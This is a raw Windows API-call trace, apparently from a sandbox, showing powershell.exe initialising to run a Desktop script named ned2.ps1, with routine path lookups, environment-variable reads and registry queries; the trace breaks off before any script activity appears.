lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x22d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0053.979] SetConsoleCtrlHandler (HandlerRoutine=0x29168dc, Add=1) returned 1 [0053.989] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x22da60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0053.990] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", nBufferLength=0x105, lpBuffer=0x22da40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1", lpFilePart=0x0) returned 0x2e [0053.990] SetErrorMode (uMode=0x1) returned 0x1 [0053.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ned2.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ned2.ps1"), fInfoLevelId=0x0, lpFileInformation=0x22dc50 | out: lpFileInformation=0x22dc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc9be80, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xbcc9be80, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xb8040b00, ftLastWriteTime.dwHighDateTime=0x1d699a3, nFileSizeHigh=0x0, nFileSizeLow=0xe231d)) returned 1 [0053.990] SetErrorMode (uMode=0x1) returned 0x1 [0054.004] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x32c [0054.005] CoCreateGuid (in: pguid=0x22ddd0 | out: pguid=0x22ddd0*(Data1=0x10c90036, Data2=0xb4cd, Data3=0x4967, Data4=([0]=0xb8, [1]=0xdd, [2]=0xef, [3]=0x79, [4]=0x83, [5]=0x51, [6]=0x4d, [7]=0x61))) returned 0x0 [0054.006] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.006] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.006] CoTaskMemFree (pv=0x168a30) [0054.028] WinSqmIsOptedIn () returned 0x0 [0054.029] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.029] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.029] CoTaskMemFree (pv=0x168a30) [0054.031] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.031] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.031] CoTaskMemFree (pv=0x168a30) [0054.032] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.032] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.032] CoTaskMemFree (pv=0x168a30) [0054.033] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.033] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.033] CoTaskMemFree (pv=0x168a30) [0054.034] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.034] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.034] CoTaskMemFree (pv=0x168a30) [0054.041] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.041] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.041] CoTaskMemFree (pv=0x168a30) [0054.041] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.041] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.041] CoTaskMemFree (pv=0x168a30) [0054.042] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.042] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.042] CoTaskMemFree (pv=0x168a30) [0054.045] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.045] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.045] CoTaskMemFree (pv=0x168a30) [0054.051] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.051] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.051] CoTaskMemFree (pv=0x168a30) [0054.052] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.052] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.052] CoTaskMemFree (pv=0x168a30) [0054.052] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.052] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.052] CoTaskMemFree (pv=0x168a30) [0054.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.282] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22d170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.284] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.284] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0054.284] CoTaskMemFree (pv=0x168a30) [0054.286] CoTaskMemAlloc (cb=0xcc) returned 0x1b775a50 [0054.286] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b775a50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0054.286] CoTaskMemFree (pv=0x1b775a50) [0054.286] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d948 | out: phkResult=0x22d948*=0x330) returned 0x0 [0054.286] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x22d8cc, lpData=0x0, lpcbData=0x22d8c8*=0x0 | out: lpType=0x22d8cc*=0x2, lpData=0x0, lpcbData=0x22d8c8*=0x6c) returned 0x0 [0054.286] CoTaskMemAlloc (cb=0x70) returned 0x11c530 [0054.286] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x22d89c, lpData=0x11c530, lpcbData=0x22d898*=0x6c | out: lpType=0x22d89c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x22d898*=0x6c) returned 0x0 [0054.286] CoTaskMemFree (pv=0x11c530) [0054.287] CoTaskMemAlloc (cb=0xcc) returned 0x1b775a50 [0054.287] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x1b775a50, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0054.287] CoTaskMemFree (pv=0x1b775a50) [0054.287] CoTaskMemAlloc (cb=0xcc) returned 0x1b775a50 [0054.287] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b775a50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0054.287] CoTaskMemFree (pv=0x1b775a50) [0054.291] RegCloseKey (hKey=0x330) returned 0x0 [0054.291] CoTaskMemAlloc (cb=0xcc) returned 0x1b775a50 [0054.291] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b775a50, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0054.291] CoTaskMemFree (pv=0x1b775a50) [0054.291] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d948 | out: phkResult=0x22d948*=0x330) returned 0x0 [0054.291] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x22d8cc, lpData=0x0, lpcbData=0x22d8c8*=0x0 | out: lpType=0x22d8cc*=0x0, lpData=0x0, lpcbData=0x22d8c8*=0x0) returned 0x2 [0054.292] RegCloseKey (hKey=0x330) returned 0x0 [0054.308] CoTaskMemAlloc (cb=0x20c) returned 0x173a90 [0054.308] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x173a90 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0054.310] CoTaskMemFree (pv=0x173a90) [0054.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x22d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0054.311] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0054.325] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.325] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.325] CoTaskMemFree (pv=0x168a30) [0054.327] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.327] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.327] CoTaskMemFree (pv=0x168a30) [0054.333] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.333] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.333] CoTaskMemFree (pv=0x168a30) [0054.333] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.333] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.333] CoTaskMemFree (pv=0x168a30) [0054.335] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d738 | out: phkResult=0x22d738*=0x338) returned 0x0 [0054.336] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d74c, lpData=0x0, lpcbData=0x22d748*=0x0 | out: lpType=0x22d74c*=0x1, lpData=0x0, lpcbData=0x22d748*=0x74) returned 0x0 [0054.337] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d6bc, lpData=0x0, lpcbData=0x22d6b8*=0x0 | out: lpType=0x22d6bc*=0x1, lpData=0x0, lpcbData=0x22d6b8*=0x74) returned 0x0 [0054.337] CoTaskMemAlloc (cb=0x78) returned 0x11c530 [0054.337] RegQueryValueExW (in: hKey=0x338, lpValueName="path", lpReserved=0x0, lpType=0x22d68c, lpData=0x11c530, lpcbData=0x22d688*=0x74 | out: lpType=0x22d68c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x22d688*=0x74) returned 0x0 [0054.337] CoTaskMemFree (pv=0x11c530) [0054.337] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x22d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0054.337] SetErrorMode (uMode=0x1) returned 0x1 [0054.337] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x22d610 | out: lpFileInformation=0x22d610*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0054.338] SetErrorMode (uMode=0x1) returned 0x1 [0054.338] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.338] SetErrorMode (uMode=0x1) returned 0x1 [0054.339] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d610 | out: lpFileInformation=0x22d610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0054.339] SetErrorMode (uMode=0x1) returned 0x1 [0054.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d400, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.341] SetErrorMode (uMode=0x1) returned 0x1 [0054.342] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d610 | out: lpFileInformation=0x22d610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0054.342] SetErrorMode (uMode=0x1) returned 0x1 [0054.342] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.342] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.342] 